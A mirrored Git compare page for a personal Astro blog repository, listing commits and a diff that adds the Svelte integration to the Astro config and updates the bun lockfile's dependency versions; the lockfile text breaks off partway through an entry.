mirror of
https://github.com/anotherhadi/blog.git
synced 2026-05-20 13:32:33 +02:00
Compare commits
33 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| c521c7c7f9 | |||
| 25fb5a4bf0 | |||
| d257a0f26e | |||
| 3dfbdcf970 | |||
| 930c3bf3bb | |||
| a055640fa8 | |||
| 9c0bbc4b77 | |||
| 7968c662f6 | |||
| 99890dd1ef | |||
| db42928299 | |||
| 73b668b204 | |||
| c314445219 | |||
| b4b755b608 | |||
| 3e60ae5a35 | |||
| 4f64ccf706 | |||
| d6d410a2fa | |||
| a74f6b91d4 | |||
| 35ac328d5e | |||
| 5ad26be352 | |||
| fac0a2fff6 | |||
| d2424e0a17 | |||
| 3b17b01d86 | |||
| 0e83788a15 | |||
| eea8c3e9be | |||
| 761e8a20cb | |||
| 1025d5bfa1 | |||
| f00515e4c3 | |||
| 5472ac3449 | |||
| e3f0fc5735 | |||
| 294c4e3acd | |||
| 97bdfd9a6e | |||
| e332a5732b | |||
| 0a8c04fccb |
+2
-2
@@ -3,8 +3,8 @@ import { defineConfig } from 'astro/config';
|
||||
|
||||
import tailwindcss from '@tailwindcss/vite';
|
||||
import mdx from '@astrojs/mdx';
|
||||
|
||||
import sitemap from '@astrojs/sitemap';
|
||||
import svelte from '@astrojs/svelte';
|
||||
|
||||
// https://astro.build/config
|
||||
export default defineConfig({
|
||||
@@ -13,7 +13,7 @@ export default defineConfig({
|
||||
},
|
||||
site: "https://hadi.icu",
|
||||
output: 'static',
|
||||
integrations: [mdx(), sitemap()],
|
||||
integrations: [mdx(), sitemap(), svelte()],
|
||||
vite: {
|
||||
plugins: [tailwindcss()]
|
||||
},
|
||||
|
||||
@@ -5,16 +5,17 @@
|
||||
"": {
|
||||
"name": "bloomfolio",
|
||||
"dependencies": {
|
||||
"@astrojs/mdx": "^4.3.14",
|
||||
"@astrojs/mdx": "5.0.4",
|
||||
"@astrojs/rss": "^4.0.18",
|
||||
"@astrojs/sitemap": "^3.7.2",
|
||||
"@astrojs/svelte": "^8.1.0",
|
||||
"@lucide/astro": "^0.552.0",
|
||||
"@tailwindcss/vite": "^4.2.4",
|
||||
"@types/bun": "^1.3.13",
|
||||
"astro": "^5.18.1",
|
||||
"astro": "6.1.9",
|
||||
"daisyui": "^5.5.19",
|
||||
"lucide-astro": "^0.556.0",
|
||||
"node-html-parser": "^7.1.0",
|
||||
"svelte": "^5.55.5",
|
||||
"tailwindcss": "^4.2.4",
|
||||
},
|
||||
"devDependencies": {
|
||||
@@ -26,23 +27,25 @@
|
||||
"packages": {
|
||||
"@astrojs/check": ["@astrojs/check@0.9.8", "", { "dependencies": { "@astrojs/language-server": "^2.16.5", "chokidar": "^4.0.3", "kleur": "^4.1.5", "yargs": "^17.7.2" }, "peerDependencies": { "typescript": "^5.0.0" }, "bin": { "astro-check": "bin/astro-check.js" } }, "sha512-LDng8446QLS5ToKjRHd3bgUdirvemVVExV7nRyJfW2wV36xuv7vDxwy5NWN9zqeSEDgg0Tv84sP+T3yEq+Zlkw=="],
|
||||
|
||||
"@astrojs/compiler": ["@astrojs/compiler@2.13.0", "", {}, "sha512-mqVORhUJViA28fwHYaWmsXSzLO9osbdZ5ImUfxBarqsYdMlPbqAqGJCxsNzvppp1BEzc1mJNjOVvQqeDN8Vspw=="],
|
||||
"@astrojs/compiler": ["@astrojs/compiler@3.0.1", "", {}, "sha512-z97oYbdebO5aoWzuJ/8q5hLK232+17KcLZ7cJ8BCWk6+qNzVxn/gftC0KzMBUTD8WAaBkPpNSQK6PXLnNrZ0CA=="],
|
||||
|
||||
"@astrojs/internal-helpers": ["@astrojs/internal-helpers@0.7.6", "", {}, "sha512-GOle7smBWKfMSP8osUIGOlB5kaHdQLV3foCsf+5Q9Wsuu+C6Fs3Ez/ttXmhjZ1HkSgsogcM1RXSjjOVieHq16Q=="],
|
||||
"@astrojs/internal-helpers": ["@astrojs/internal-helpers@0.9.0", "", { "dependencies": { "picomatch": "^4.0.4" } }, "sha512-GdYkzR26re8izmyYlBqf4z2s7zNngmWLFuxw0UKiPNqHraZGS6GKWIwSHgS22RDlu2ePFJ8bzmpBcUszut/SDg=="],
|
||||
|
||||
"@astrojs/language-server": ["@astrojs/language-server@2.16.6", "", { "dependencies": { "@astrojs/compiler": "^2.13.1", "@astrojs/yaml2ts": "^0.2.3", "@jridgewell/sourcemap-codec": "^1.5.5", "@volar/kit": "~2.4.28", "@volar/language-core": "~2.4.28", "@volar/language-server": "~2.4.28", "@volar/language-service": "~2.4.28", "muggle-string": "^0.4.1", "tinyglobby": "^0.2.15", "volar-service-css": "0.0.70", "volar-service-emmet": "0.0.70", "volar-service-html": "0.0.70", "volar-service-prettier": "0.0.70", "volar-service-typescript": "0.0.70", "volar-service-typescript-twoslash-queries": "0.0.70", "volar-service-yaml": "0.0.70", "vscode-html-languageservice": "^5.6.2", "vscode-uri": "^3.1.0" }, "peerDependencies": { "prettier": "^3.0.0", "prettier-plugin-astro": ">=0.11.0" }, "optionalPeers": ["prettier", "prettier-plugin-astro"], "bin": { "astro-ls": "bin/nodeServer.js" } }, "sha512-N990lu+HSFiG57owR0XBkr02BYMgiLCshLf+4QG4v6jjSWkBeQGnzqi+E1L08xFPPJ7eEeXnxPXGLaVv5pa4Ug=="],
|
||||
|
||||
"@astrojs/markdown-remark": ["@astrojs/markdown-remark@6.3.11", "", { "dependencies": { "@astrojs/internal-helpers": "0.7.6", "@astrojs/prism": "3.3.0", "github-slugger": "^2.0.0", "hast-util-from-html": "^2.0.3", "hast-util-to-text": "^4.0.2", "import-meta-resolve": "^4.2.0", "js-yaml": "^4.1.1", "mdast-util-definitions": "^6.0.0", "rehype-raw": "^7.0.0", "rehype-stringify": "^10.0.1", "remark-gfm": "^4.0.1", "remark-parse": "^11.0.0", "remark-rehype": "^11.1.2", "remark-smartypants": "^3.0.2", "shiki": "^3.21.0", "smol-toml": "^1.6.0", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.0.0", "unist-util-visit-parents": "^6.0.2", "vfile": "^6.0.3" } }, "sha512-hcaxX/5aC6lQgHeGh1i+aauvSwIT6cfyFjKWvExYSxUhZZBBdvCliOtu06gbQyhbe0pGJNoNmqNlQZ5zYUuIyQ=="],
|
||||
"@astrojs/markdown-remark": ["@astrojs/markdown-remark@7.1.1", "", { "dependencies": { "@astrojs/internal-helpers": "0.9.0", "@astrojs/prism": "4.0.1", "github-slugger": "^2.0.0", "hast-util-from-html": "^2.0.3", "hast-util-to-text": "^4.0.2", "js-yaml": "^4.1.1", "mdast-util-definitions": "^6.0.0", "rehype-raw": "^7.0.0", "rehype-stringify": "^10.0.1", "remark-gfm": "^4.0.1", "remark-parse": "^11.0.0", "remark-rehype": "^11.1.2", "remark-smartypants": "^3.0.2", "retext-smartypants": "^6.2.0", "shiki": "^4.0.0", "smol-toml": "^1.6.0", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "unist-util-visit-parents": "^6.0.2", "vfile": "^6.0.3" } }, "sha512-C6e9BnLGlbdv6bV8MYGeHpHxsUHrCrB4OuRLqi5LI7oiBVcBcqfUN06zpwFQdHgV48QCCrMmLpyqBr7VqC+swA=="],
|
||||
|
||||
"@astrojs/mdx": ["@astrojs/mdx@4.3.14", "", { "dependencies": { "@astrojs/markdown-remark": "6.3.11", "@mdx-js/mdx": "^3.1.1", "acorn": "^8.15.0", "es-module-lexer": "^1.7.0", "estree-util-visit": "^2.0.0", "hast-util-to-html": "^9.0.5", "piccolore": "^0.1.3", "rehype-raw": "^7.0.0", "remark-gfm": "^4.0.1", "remark-smartypants": "^3.0.2", "source-map": "^0.7.6", "unist-util-visit": "^5.0.0", "vfile": "^6.0.3" }, "peerDependencies": { "astro": "^5.0.0" } }, "sha512-FBrqJQORVm+rkRa2TS5CjU9PBA6hkhrwLVBSS9A77gN2+iehvjq1w6yya/d0YKC7osiVorKkr3Qd9wNbl0ZkGA=="],
|
||||
"@astrojs/mdx": ["@astrojs/mdx@5.0.4", "", { "dependencies": { "@astrojs/markdown-remark": "7.1.1", "@mdx-js/mdx": "^3.1.1", "acorn": "^8.16.0", "es-module-lexer": "^2.0.0", "estree-util-visit": "^2.0.0", "hast-util-to-html": "^9.0.5", "piccolore": "^0.1.3", "rehype-raw": "^7.0.0", "remark-gfm": "^4.0.1", "remark-smartypants": "^3.0.2", "source-map": "^0.7.6", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "astro": "^6.0.0" } }, "sha512-tSbuuYueNODiFAFaME7pjHY5lOLoxBYJi1cKd6scw9+a4ZO7C7UGdafEoVAQvOV2eO8a6RaHSAJYGVPL1w8BPA=="],
|
||||
|
||||
"@astrojs/prism": ["@astrojs/prism@3.3.0", "", { "dependencies": { "prismjs": "^1.30.0" } }, "sha512-q8VwfU/fDZNoDOf+r7jUnMC2//H2l0TuQ6FkGJL8vD8nw/q5KiL3DS1KKBI3QhI9UQhpJ5dc7AtqfbXWuOgLCQ=="],
|
||||
"@astrojs/prism": ["@astrojs/prism@4.0.1", "", { "dependencies": { "prismjs": "^1.30.0" } }, "sha512-nksZQVjlferuWzhPsBpQ1JE5XuKAf1id1/9Hj4a9KG4+ofrlzxUUwX4YGQF/SuDiuiGKEnzopGOt38F3AnVWsQ=="],
|
||||
|
||||
"@astrojs/rss": ["@astrojs/rss@4.0.18", "", { "dependencies": { "fast-xml-parser": "^5.5.7", "piccolore": "^0.1.3", "zod": "^4.3.6" } }, "sha512-wc5DwKlbTEdgVAWnHy8krFTeQ42t1v/DJqeq5HtulYK3FYHE4krtRGjoyhS3eXXgfdV6Raoz2RU3wrMTFAitRg=="],
|
||||
|
||||
"@astrojs/sitemap": ["@astrojs/sitemap@3.7.2", "", { "dependencies": { "sitemap": "^9.0.0", "stream-replace-string": "^2.0.0", "zod": "^4.3.6" } }, "sha512-PqkzkcZTb5ICiyIR8VoKbIAP/laNRXi5tw616N1Ckk+40oNB8Can1AzVV56lrbC5GKSZFCyJYUVYqVivMisvpA=="],
|
||||
|
||||
"@astrojs/telemetry": ["@astrojs/telemetry@3.3.0", "", { "dependencies": { "ci-info": "^4.2.0", "debug": "^4.4.0", "dlv": "^1.1.3", "dset": "^3.1.4", "is-docker": "^3.0.0", "is-wsl": "^3.1.0", "which-pm-runs": "^1.1.0" } }, "sha512-UFBgfeldP06qu6khs/yY+q1cDAaArM2/7AEIqQ9Cuvf7B1hNLq0xDrZkct+QoIGyjq56y8IaE2I3CTvG99mlhQ=="],
|
||||
"@astrojs/svelte": ["@astrojs/svelte@8.1.0", "", { "dependencies": { "@sveltejs/vite-plugin-svelte": "^6.2.4", "svelte2tsx": "^0.7.52", "vite": "^7.3.2", "vitefu": "^1.1.2" }, "peerDependencies": { "astro": "^6.0.0", "svelte": "^5.43.6", "typescript": "^5.3.3" } }, "sha512-yZrHRFOxDJeo2hr9rGAMou6/6OL3agEaUCvWNWrea8YhZultsERTYZthfKNC58onAtZs76xNklOYV+G2Dp10kw=="],
|
||||
|
||||
"@astrojs/telemetry": ["@astrojs/telemetry@3.3.1", "", { "dependencies": { "ci-info": "^4.4.0", "dlv": "^1.1.3", "dset": "^3.1.4", "is-docker": "^4.0.0", "is-wsl": "^3.1.1", "which-pm-runs": "^1.1.0" } }, "sha512-7fcIxXS9J4ls5tr8b3ww9rbAIz2+HrhNJYZdkAhhB4za/I5IZ/60g+Bs8q7zwG0tOIZfNB4JWhVJ1Qkl/OrNCw=="],
|
||||
|
||||
"@astrojs/yaml2ts": ["@astrojs/yaml2ts@0.2.3", "", { "dependencies": { "yaml": "^2.8.2" } }, "sha512-PJzRmgQzUxI2uwpdX2lXSHtP4G8ocp24/t+bZyf5Fy0SZLSF9f9KXZoMlFM/XCGue+B0nH/2IZ7FpBYQATBsCg=="],
|
||||
|
||||
@@ -50,12 +53,16 @@
|
||||
|
||||
"@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="],
|
||||
|
||||
"@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": "./bin/babel-parser.js" }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
|
||||
"@babel/parser": ["@babel/parser@7.29.2", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA=="],
|
||||
|
||||
"@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
|
||||
"@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
|
||||
|
||||
"@capsizecss/unpack": ["@capsizecss/unpack@4.0.0", "", { "dependencies": { "fontkitten": "^1.0.0" } }, "sha512-VERIM64vtTP1C4mxQ5thVT9fK0apjPFobqybMtA1UdUujWka24ERHbRHFGmpbbhp73MhV+KSsHQH9C6uOTdEQA=="],
|
||||
|
||||
"@clack/core": ["@clack/core@1.2.0", "", { "dependencies": { "fast-wrap-ansi": "^0.1.3", "sisteransi": "^1.0.5" } }, "sha512-qfxof/3T3t9DPU/Rj3OmcFyZInceqj/NVtO9rwIuJqCUgh32gwPjpFQQp/ben07qKlhpwq7GzfWpST4qdJ5Drg=="],
|
||||
|
||||
"@clack/prompts": ["@clack/prompts@1.2.0", "", { "dependencies": { "@clack/core": "1.2.0", "fast-string-width": "^1.1.0", "fast-wrap-ansi": "^0.1.3", "sisteransi": "^1.0.5" } }, "sha512-4jmztR9fMqPMjz6H/UZXj0zEmE43ha1euENwkckKKel4XpSfokExPo5AiVStdHSAlHekz4d0CA/r45Ok1E4D3w=="],
|
||||
|
||||
"@emmetio/abbreviation": ["@emmetio/abbreviation@2.3.3", "", { "dependencies": { "@emmetio/scanner": "^1.0.4" } }, "sha512-mgv58UrU3rh4YgbE/TzgLQwJ3pFsHHhCLqY20aJq+9comytTXUDNGG/SMtSeMJdkpxgXSXunBGLD8Boka3JyVA=="],
|
||||
|
||||
"@emmetio/css-abbreviation": ["@emmetio/css-abbreviation@2.1.8", "", { "dependencies": { "@emmetio/scanner": "^1.0.4" } }, "sha512-s9yjhJ6saOO/uk1V74eifykk2CBYi01STTK3WlXWGOepyKa23ymJ053+DNQjpFcy1ingpaO7AxCcwLvHFY9tuw=="],
|
||||
@@ -236,20 +243,28 @@
|
||||
|
||||
"@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.54.0", "", { "os": "win32", "cpu": "x64" }, "sha512-hYT5d3YNdSh3mbCU1gwQyPgQd3T2ne0A3KG8KSBdav5TiBg6eInVmV+TeR5uHufiIgSFg0XsOWGW5/RhNcSvPg=="],
|
||||
|
||||
"@shikijs/core": ["@shikijs/core@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-NSWQz0riNb67xthdm5br6lAkvpDJRTgB36fxlo37ZzM2yq0PQFFzbd8psqC2XMPgCzo1fW6cVi18+ArJ44wqgA=="],
|
||||
"@shikijs/core": ["@shikijs/core@4.0.2", "", { "dependencies": { "@shikijs/primitive": "4.0.2", "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-hxT0YF4ExEqB8G/qFdtJvpmHXBYJ2lWW7qTHDarVkIudPFE6iCIrqdgWxGn5s+ppkGXI0aEGlibI0PAyzP3zlw=="],
|
||||
|
||||
"@shikijs/engine-javascript": ["@shikijs/engine-javascript@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.4" } }, "sha512-aHt9eiGFobmWR5uqJUViySI1bHMqrAgamWE1TYSUoftkAeCCAiGawPMwM+VCadylQtF4V3VNOZ5LmfItH5f3yA=="],
|
||||
"@shikijs/engine-javascript": ["@shikijs/engine-javascript@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.4" } }, "sha512-7PW0Nm49DcoUIQEXlJhNNBHyoGMjalRETTCcjMqEaMoJRLljy1Bi/EGV3/qLBgLKQejdspiiYuHGQW6dX94Nag=="],
|
||||
|
||||
"@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-1nWINwKXxKKLqPibT5f4pAFLej9oZzQTsby8942OTlsJzOBZ0MWKiwzMsd+jhzu8YPCHAswGnnN1YtQfirL35g=="],
|
||||
"@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-UpCB9Y2sUKlS9z8juFSKz7ZtysmeXCgnRF0dlhXBkmQnek7lAToPte8DkxmEYGNTMii72zU/lyXiCB6StuZeJg=="],
|
||||
|
||||
"@shikijs/langs": ["@shikijs/langs@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0" } }, "sha512-2Ep4W3Re5aB1/62RSYQInK9mM3HsLeB91cHqznAJMuylqjzNVAVCMnNWRHFtcNHXsoNRayP9z1qj4Sq3nMqYXg=="],
|
||||
"@shikijs/langs": ["@shikijs/langs@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2" } }, "sha512-KaXby5dvoeuZzN0rYQiPMjFoUrz4hgwIE+D6Du9owcHcl6/g16/yT5BQxSW5cGt2MZBz6Hl0YuRqf12omRfUUg=="],
|
||||
|
||||
"@shikijs/themes": ["@shikijs/themes@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0" } }, "sha512-5qySYa1ZgAT18HR/ypENL9cUSGOeI2x+4IvYJu4JgVJdizn6kG4ia5Q1jDEOi7gTbN4RbuYtmHh0W3eccOrjMA=="],
|
||||
"@shikijs/primitive": ["@shikijs/primitive@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-M6UMPrSa3fN5ayeJwFVl9qWofl273wtK1VG8ySDZ1mQBfhCpdd8nEx7nPZ/tk7k+TYcpqBZzj/AnwxT9lO+HJw=="],
|
||||
|
||||
"@shikijs/types": ["@shikijs/types@3.23.0", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-3JZ5HXOZfYjsYSk0yPwBrkupyYSLpAE26Qc0HLghhZNGTZg/SKxXIIgoxOpmmeQP0RRSDJTk1/vPfw9tbw+jSQ=="],
|
||||
"@shikijs/themes": ["@shikijs/themes@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2" } }, "sha512-mjCafwt8lJJaVSsQvNVrJumbnnj1RI8jbUKrPKgE6E3OvQKxnuRoBaYC51H4IGHePsGN/QtALglWBU7DoKDFnA=="],
|
||||
|
||||
"@shikijs/types": ["@shikijs/types@4.0.2", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-qzbeRooUTPnLE+sHD/Z8DStmaDgnbbc/pMrU203950aRqjX/6AFHeDYT+j00y2lPdz0ywJKx7o/7qnqTivtlXg=="],
|
||||
|
||||
"@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="],
|
||||
|
||||
"@sveltejs/acorn-typescript": ["@sveltejs/acorn-typescript@1.0.9", "", { "peerDependencies": { "acorn": "^8.9.0" } }, "sha512-lVJX6qEgs/4DOcRTpo56tmKzVPtoWAaVbL4hfO7t7NVwl9AAXzQR6cihesW1BmNMPl+bK6dreu2sOKBP2Q9CIA=="],
|
||||
|
||||
"@sveltejs/vite-plugin-svelte": ["@sveltejs/vite-plugin-svelte@6.2.4", "", { "dependencies": { "@sveltejs/vite-plugin-svelte-inspector": "^5.0.0", "deepmerge": "^4.3.1", "magic-string": "^0.30.21", "obug": "^2.1.0", "vitefu": "^1.1.1" }, "peerDependencies": { "svelte": "^5.0.0", "vite": "^6.3.0 || ^7.0.0" } }, "sha512-ou/d51QSdTyN26D7h6dSpusAKaZkAiGM55/AKYi+9AGZw7q85hElbjK3kEyzXHhLSnRISHOYzVge6x0jRZ7DXA=="],
|
||||
|
||||
"@sveltejs/vite-plugin-svelte-inspector": ["@sveltejs/vite-plugin-svelte-inspector@5.0.2", "", { "dependencies": { "obug": "^2.1.0" }, "peerDependencies": { "@sveltejs/vite-plugin-svelte": "^6.0.0-next.0", "svelte": "^5.0.0", "vite": "^6.3.0 || ^7.0.0" } }, "sha512-TZzRTcEtZffICSAoZGkPSl6Etsj2torOVrx6Uw0KpXxrec9Gg6jFWQ60Q3+LmNGfZSxHRCZL7vXVZIWmuV50Ig=="],
|
||||
|
||||
"@tailwindcss/node": ["@tailwindcss/node@4.2.4", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.19.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.2.4" } }, "sha512-Ai7+yQPxz3ddrDQzFfBKdHEVBg0w3Zl83jnjuwxnZOsnH9pGn93QHQtpU0p/8rYWxvbFZHneni6p1BSLK4DkGA=="],
|
||||
|
||||
"@tailwindcss/oxide": ["@tailwindcss/oxide@4.2.4", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.2.4", "@tailwindcss/oxide-darwin-arm64": "4.2.4", "@tailwindcss/oxide-darwin-x64": "4.2.4", "@tailwindcss/oxide-freebsd-x64": "4.2.4", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.4", "@tailwindcss/oxide-linux-arm64-gnu": "4.2.4", "@tailwindcss/oxide-linux-arm64-musl": "4.2.4", "@tailwindcss/oxide-linux-x64-gnu": "4.2.4", "@tailwindcss/oxide-linux-x64-musl": "4.2.4", "@tailwindcss/oxide-wasm32-wasi": "4.2.4", "@tailwindcss/oxide-win32-arm64-msvc": "4.2.4", "@tailwindcss/oxide-win32-x64-msvc": "4.2.4" } }, "sha512-9El/iI069DKDSXwTvB9J4BwdO5JhRrOweGaK25taBAvBXyXqJAX+Jqdvs8r8gKpsI/1m0LeJLyQYTf/WLrBT1Q=="],
|
||||
@@ -302,6 +317,8 @@
|
||||
|
||||
"@types/sax": ["@types/sax@1.2.7", "", { "dependencies": { "@types/node": "*" } }, "sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A=="],
|
||||
|
||||
"@types/trusted-types": ["@types/trusted-types@2.0.7", "", {}, "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw=="],
|
||||
|
||||
"@types/unist": ["@types/unist@3.0.3", "", {}, "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="],
|
||||
|
||||
"@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="],
|
||||
@@ -322,7 +339,7 @@
|
||||
|
||||
"@vscode/l10n": ["@vscode/l10n@0.0.18", "", {}, "sha512-KYSIHVmslkaCDyw013pphY+d7x1qV8IZupYfeIfzNA+nsaWHbn5uPuQRvdRFsa9zFzGeudPuoGoZ1Op4jrJXIQ=="],
|
||||
|
||||
"acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
|
||||
"acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
|
||||
|
||||
"acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="],
|
||||
|
||||
@@ -330,11 +347,9 @@
|
||||
|
||||
"ajv-draft-04": ["ajv-draft-04@1.0.0", "", { "peerDependencies": { "ajv": "^8.5.0" }, "optionalPeers": ["ajv"] }, "sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw=="],
|
||||
|
||||
"ansi-align": ["ansi-align@3.0.1", "", { "dependencies": { "string-width": "^4.1.0" } }, "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w=="],
|
||||
|
||||
"ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="],
|
||||
|
||||
"ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="],
|
||||
"ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
|
||||
|
||||
"anymatch": ["anymatch@3.1.3", "", { "dependencies": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" } }, "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw=="],
|
||||
|
||||
@@ -348,26 +363,18 @@
|
||||
|
||||
"astring": ["astring@1.9.0", "", { "bin": { "astring": "bin/astring" } }, "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg=="],
|
||||
|
||||
"astro": ["astro@5.18.1", "", { "dependencies": { "@astrojs/compiler": "^2.13.0", "@astrojs/internal-helpers": "0.7.6", "@astrojs/markdown-remark": "6.3.11", "@astrojs/telemetry": "3.3.0", "@capsizecss/unpack": "^4.0.0", "@oslojs/encoding": "^1.1.0", "@rollup/pluginutils": "^5.3.0", "acorn": "^8.15.0", "aria-query": "^5.3.2", "axobject-query": "^4.1.0", "boxen": "8.0.1", "ci-info": "^4.3.1", "clsx": "^2.1.1", "common-ancestor-path": "^1.0.1", "cookie": "^1.1.1", "cssesc": "^3.0.0", "debug": "^4.4.3", "deterministic-object-hash": "^2.0.2", "devalue": "^5.6.2", "diff": "^8.0.3", "dlv": "^1.1.3", "dset": "^3.1.4", "es-module-lexer": "^1.7.0", "esbuild": "^0.27.3", "estree-walker": "^3.0.3", "flattie": "^1.1.1", "fontace": "~0.4.0", "github-slugger": "^2.0.0", "html-escaper": "3.0.3", "http-cache-semantics": "^4.2.0", "import-meta-resolve": "^4.2.0", "js-yaml": "^4.1.1", "magic-string": "^0.30.21", "magicast": "^0.5.1", "mrmime": "^2.0.1", "neotraverse": "^0.6.18", "p-limit": "^6.2.0", "p-queue": "^8.1.1", "package-manager-detector": "^1.6.0", "piccolore": "^0.1.3", "picomatch": "^4.0.3", "prompts": "^2.4.2", "rehype": "^13.0.2", "semver": "^7.7.3", "shiki": "^3.21.0", "smol-toml": "^1.6.0", "svgo": "^4.0.0", "tinyexec": "^1.0.2", "tinyglobby": "^0.2.15", "tsconfck": "^3.1.6", "ultrahtml": "^1.6.0", "unifont": "~0.7.3", "unist-util-visit": "^5.0.0", "unstorage": "^1.17.4", "vfile": "^6.0.3", "vite": "^6.4.1", "vitefu": "^1.1.1", 